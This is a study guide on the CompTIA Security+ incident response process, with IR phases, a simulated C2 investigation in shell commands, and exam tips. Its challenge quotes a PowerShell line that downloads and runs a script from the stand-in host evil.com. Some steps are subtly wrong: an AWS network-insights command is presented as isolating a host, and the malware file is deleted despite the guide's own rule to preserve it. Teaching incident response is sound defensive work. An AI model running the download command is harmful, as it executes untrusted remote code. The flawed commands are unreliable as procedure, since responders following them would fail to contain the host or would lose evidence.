Fatskills
Practice. Master. Repeat.
Study Guide: CompTIA Security+ Incident Response Process - Zero-Fluff, Hands-On Guide
Source: https://www.fatskills.com/comptia-security-/chapter/tech-comptia-security-incident-response-process-zero-fluff-hands-on-guide

CompTIA Security+ Incident Response Process - Zero-Fluff, Hands-On Guide

By Fatskills Exam Guides Team — the exam nerds behind 28,500+ quizzes and 2.1M practice questions across 500+ global exams.

⏱️ ~9 min read

CompTIA Security+ Incident Response Process: Zero-Fluff, Hands-On Guide

(Preparation-Detection-Containment-Eradication-Recovery-Lessons Learned)


1. What This Is & Why It Matters

You’re a sysadmin at a mid-sized e-commerce company. At 2:17 AM, your phone buzzes with a PagerDuty alert: "High CPU on web03 – 98% sustained for 5 minutes." You SSH in and see a cryptic process named xmrig chewing up resources. Your gut says "crypto-miner," but now what?

Incident Response (IR) is your playbook for when (not if) bad things happen. It’s the difference between: - Chaos: Panic, finger-pointing, and a 48-hour outage while you scramble to rebuild servers. - Control: A structured, repeatable process that stops the bleeding, removes the threat, and gets you back online—with evidence preserved for forensics and legal.

Why this matters in production: - Downtime = $$$. Every minute your site is down, you lose revenue, reputation, and customer trust. - Legal/Compliance: GDPR, HIPAA, and PCI DSS require you to report breaches. A sloppy IR process means fines (or lawsuits). - Threat Actors Adapt: Ransomware gangs now watch your IR process to see how fast you recover—then adjust their demands accordingly.

Your superpower: A well-drilled IR process lets you contain an attack in minutes, not hours, and recover with confidence that the threat is truly gone.


2. Core Concepts & Components

1. Preparation

Definition: The "before" phase—building tools, policies, and muscle memory before an incident. Production Insight: - If you don’t have an IR runbook (step-by-step checklist for common incidents), you’re improvising during a crisis. - Example: Your "Ransomware Playbook" should include: - Where backups are stored (and how to verify they’re not encrypted). - Who to call (legal, PR, law enforcement). - How to isolate infected systems without tipping off the attacker.

2. Detection & Analysis

Definition: Identifying that an incident occurred and what it is. Production Insight: - False positives waste time. Tune your SIEM (e.g., Splunk, ELK) to alert on real threats, not every failed login. - Key data sources: - Logs: Syslog, Windows Event Logs, cloud audit logs (AWS CloudTrail, Azure Monitor). - Network: NetFlow, Zeek (Bro), Suricata. - Endpoint: EDR tools (CrowdStrike, SentinelOne) or open-source (OSQuery, Wazuh).

3. Containment

Definition: Stopping the incident from spreading without destroying evidence. Production Insight: - Short-term vs. long-term containment: - Short-term: Pull the network cable (or block the IP at the firewall). - Long-term: Patch the vulnerability, rotate credentials, rebuild systems. - Trap: Don’t delete the attacker’s files yet—you’ll need them for forensics.

4. Eradication

Definition: Removing the root cause (malware, compromised accounts, misconfigurations). Production Insight: - Example: If a server was hit by EternalBlue (MS17-010), you must: 1. Patch the OS. 2. Rotate all credentials on the system. 3. Scan for backdoors (e.g., hidden SSH keys, scheduled tasks).

5. Recovery

Definition: Restoring systems to normal operation safely. Production Insight: - Test backups before restoring. A corrupted backup = double the downtime. - Example: After a ransomware attack, you might: 1. Restore from last-known-good backup. 2. Monitor for reinfection (attackers often leave persistence mechanisms).

6. Lessons Learned

Definition: A post-mortem to improve future IR. Production Insight: - Blame-free culture is critical. Focus on process failures, not people. - Example: If an attacker used a default password to breach a database: - Fix: Enforce password complexity + MFA. - Prevent: Add a pre-deployment check for default creds in CI/CD.


3. Step-by-Step Hands-On: Simulating an IR Process

Scenario: You’re a SOC analyst. Your SIEM alerts on "Possible C2 Beaconing" from web01 (10.0.1.10) to 185.143.223.43 (known malicious IP).

Prerequisites

  • A Linux VM (or WSL) for analysis.
  • tcpdump, netstat, ps, lsof installed.
  • A SIEM (e.g., Splunk, ELK) or at least grep for log analysis.

Step 1: Detection – Confirm the Incident

Goal: Verify the alert isn’t a false positive.

Check Network Connections

# List all active connections from web01
ssh web01 "netstat -tulnp | grep 185.143.223.43"

Expected Output:

tcp  0  0 10.0.1.10:45678  185.143.223.43:443  ESTABLISHED 1234/evil_process

What this means: A process (evil_process) is talking to a known bad IP.

Check Running Processes

ssh web01 "ps aux | grep evil_process"

Expected Output:

root  1234  0.0  0.1  12345  6789- S  12:34  0:00 /tmp/evil_process

What this means: The process is running from /tmp (suspicious—malware often hides here).


Step 2: Containment – Isolate the System

Goal: Prevent lateral movement without destroying evidence.

Short-Term Containment (Network)

# Block the malicious IP at the firewall (Linux iptables)
sudo iptables -A INPUT -s 185.143.223.43 -j DROP
sudo iptables -A OUTPUT -d 185.143.223.43 -j DROP

# Isolate the host from the network (if on AWS)
aws ec2 create-network-insights-path \
  --source-ip 10.0.1.10 \
  --destination-ip 185.143.223.43 \
  --filter-at-source "{\"NetworkInterfaceId\": \"eni-12345678\"}" \
  --tag-specifications 'ResourceType=network-insights-path,Tags=[{Key=Name,Value=IR-Containment}]'

Verification:

# Check if the IP is blocked
sudo iptables -L -n | grep 185.143.223.43

Expected Output:

DROP  all  --  185.143.223.43  0.0.0.0/0

Long-Term Containment (Process)

# Kill the malicious process
ssh web01 "kill -9 1234"

# Verify it's dead
ssh web01 "ps aux | grep evil_process"

Expected Output: Nothing (process should be gone).


Step 3: Eradication – Remove the Threat

Goal: Ensure the attacker can’t regain access.

Find and Remove Malware

# Search for the binary
ssh web01 "find / -name evil_process 2>/dev/null"

Expected Output:

/tmp/evil_process

Remove it:

ssh web01 "rm -f /tmp/evil_process"

Check for Persistence Mechanisms

# Check cron jobs
ssh web01 "crontab -l"

# Check systemd services
ssh web01 "systemctl list-units --type=service | grep -i evil"

# Check SSH keys
ssh web01 "cat ~/.ssh/authorized_keys"

If you find anything suspicious:

# Remove a malicious cron job
ssh web01 "crontab -e"  # Delete the line, save, exit

# Disable a malicious service
ssh web01 "systemctl disable evil_service"

Rotate Credentials

# Force password change for all users
ssh web01 "for user in \$(cut -d: -f1 /etc/passwd); do passwd -e \$user; done"

Step 4: Recovery – Restore Normal Operations

Goal: Bring the system back online safely.

Restore from Backup

# Example: Restore /var/www from backup (rsync)
rsync -avz /backups/web01/var/www/ /var/www/

Monitor for Reinfection

# Set up a watch on the process list
ssh web01 "watch -n 5 'ps aux | grep -i evil'"

Expected Output: Nothing (if the system is clean).


Step 5: Lessons Learned – Improve for Next Time

Post-Mortem Questions:
1. How did the attacker get in? - Example: "Default password on a Jenkins server (admin/admin)."
2. What failed in our defenses? - Example: "No MFA on Jenkins. No network segmentation."
3. What worked well? - Example: "SIEM alerted us within 5 minutes. Containment was fast."
4. Action Items: - Enforce MFA on all admin interfaces. - Add Jenkins to the vulnerability scanning schedule. - Update the IR runbook with steps for Jenkins compromises.


4.-Production-Ready Best Practices

Security

  • Least Privilege: Only give users/processes the access they need.
  • Example: If web01 only needs to talk to the database, block all other outbound traffic.
  • Immutable Infrastructure: Treat servers like cattle, not pets. If compromised, rebuild instead of cleaning.
  • Evidence Preservation: Never delete logs or malware samples until forensics is complete.

Cost Optimization

  • Automate Containment: Use tools like AWS GuardDuty + Lambda to auto-isolate compromised instances.
  • Log Retention: Store logs in S3 (cheap) but keep 30 days in your SIEM (expensive).

Reliability & Maintainability

  • IR Runbook: Keep it updated and tested (tabletop exercises).
  • Tagging: Tag all IR-related resources (e.g., IR-Containment: web01).
  • Idempotency: Ensure containment steps can be run multiple times without side effects.

Observability

  • SIEM Rules: Tune alerts to reduce noise (e.g., ignore failed logins from internal IPs).
  • Metrics to Monitor:
  • Number of incidents per month.
  • Mean time to detect (MTTD) and mean time to respond (MTTR).
  • Alert Thresholds:
  • "More than 5 failed SSH logins in 1 minute"-Investigate.
  • "Process running from /tmp"-Immediate containment.

5. Common Mistakes & Traps

Mistake Symptom Fix/Prevention
Deleting malware too soon Forensics team can’t analyze the attack. Preserve a copy (e.g., dd the disk, zip the malware).
Not isolating the system Attacker moves laterally to other hosts. Use network segmentation + host isolation (e.g., AWS Security Groups).
Restoring from untested backups Backup is corrupted or infected. Test backups monthly.
Ignoring persistence mechanisms Attacker regains access after reboot. Check cron jobs, systemd services, SSH keys, and startup scripts.
Skipping Lessons Learned Same incident happens again. Hold a blameless post-mortem every time.

6.-Exam/Certification Focus (CompTIA Security+)

Typical Question Patterns

  1. Order of Operations:
  2. "What’s the correct order of the IR process?"

    • Answer: Preparation-Detection-Containment-Eradication-Recovery-Lessons Learned.
    • Trap: "Recovery before Eradication" is wrong (you’d restore the malware).
  3. Containment Strategies:

  4. "An employee’s laptop is infected with ransomware. What’s the first step?"

    • Answer: Isolate the laptop from the network (pull the cable or disable Wi-Fi).
    • Trap: "Delete the ransomware" is wrong (you lose evidence).
  5. Evidence Handling:

  6. "What’s the most important thing to do when collecting evidence?"

    • Answer: Preserve integrity (e.g., use dd to make a disk image, hash the files).
    • Trap: "Analyze the malware immediately" is wrong (you might alter it).
  7. Lessons Learned:

  8. "What’s the purpose of the Lessons Learned phase?"
    • Answer: Improve future IR processes.
    • Trap: "Assign blame" is wrong (it’s about process, not people).

Key Distinctions to Remember

Term Definition Exam Trap
Containment Stop the spread. Don’t confuse with Eradication (removing the threat).
Eradication Remove the root cause. Don’t skip persistence checks (e.g., cron jobs).
Recovery Restore normal operations. Don’t restore from untested backups.
Forensics Collect evidence for legal action. Don’t alter evidence (e.g., don’t run malware).

7.-Hands-On Challenge

Scenario: You’re a SOC analyst. Your SIEM alerts on "Suspicious PowerShell Execution" from workstation02. The command is:

powershell -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"

Your Task:
1. Contain the workstation (short-term).
2. Find and kill the PowerShell process.
3. Check for persistence mechanisms.

Solution:

# 1. Contain (block the malicious domain at the firewall)
sudo iptables -A OUTPUT -d evil.com -j DROP

# 2. Kill the PowerShell process
ssh workstation02 "taskkill /IM powershell.exe /F"

# 3. Check for persistence (scheduled tasks)
ssh workstation02 "schtasks /query /fo LIST /v | findstr /i payload"

Why it works: - iptables blocks the C2 domain. - taskkill stops the malicious process. - schtasks checks for persistence (attackers often use scheduled tasks).


8.-Rapid-Reference Crib Sheet

Commands

Task Command
Check active connections netstat -tulnp (Linux) / netstat -ano (Windows)
Kill a process kill -9 <PID> (Linux) / taskkill /PID <PID> /F (Windows)
Find a file find / -name evil_file 2>/dev/null
Check cron jobs crontab -l (user) / cat /etc/crontab (system)
Check systemd services systemctl list-units --type=service
Check SSH keys cat ~/.ssh/authorized_keys
Block an IP (iptables) iptables -A INPUT -s <IP> -j DROP
Preserve disk evidence dd if=/dev/sda of=/evidence/disk.img bs=4M
Hash a file sha256sum evil_file

Ports & Protocols

Service Default Port IR Relevance
SSH 22 Attackers use it for lateral movement.
RDP 3389 Common target for brute-force attacks.
SMB 445 EternalBlue, ransomware spread.
HTTP/HTTPS 80/443 C2 beaconing, data exfiltration.
DNS 53 DNS tunneling for C2.

Exam Traps

  • Default passwords: Always rotate them (e.g., admin/admin on Jenkins).
  • Persistence mechanisms: Check cron jobs, systemd, SSH keys, and startup scripts.
  • Evidence handling: Never delete malware—preserve it for forensics.
  • Order of operations: Containment before Eradication.

9.-Where to Go Next

  1. NIST SP 800-61 (Incident Handling Guide) – The bible of IR.
  2. MITRE ATT&CK Framework – Learn how attackers persist, move laterally, and exfiltrate data.
  3. SANS IR Poster – Free cheat sheet for IR steps.
  4. AWS Incident Response Playbooks – Cloud-specific IR guidance.
  5. Practice: Set up a lab with Metasploitable and simulate attacks.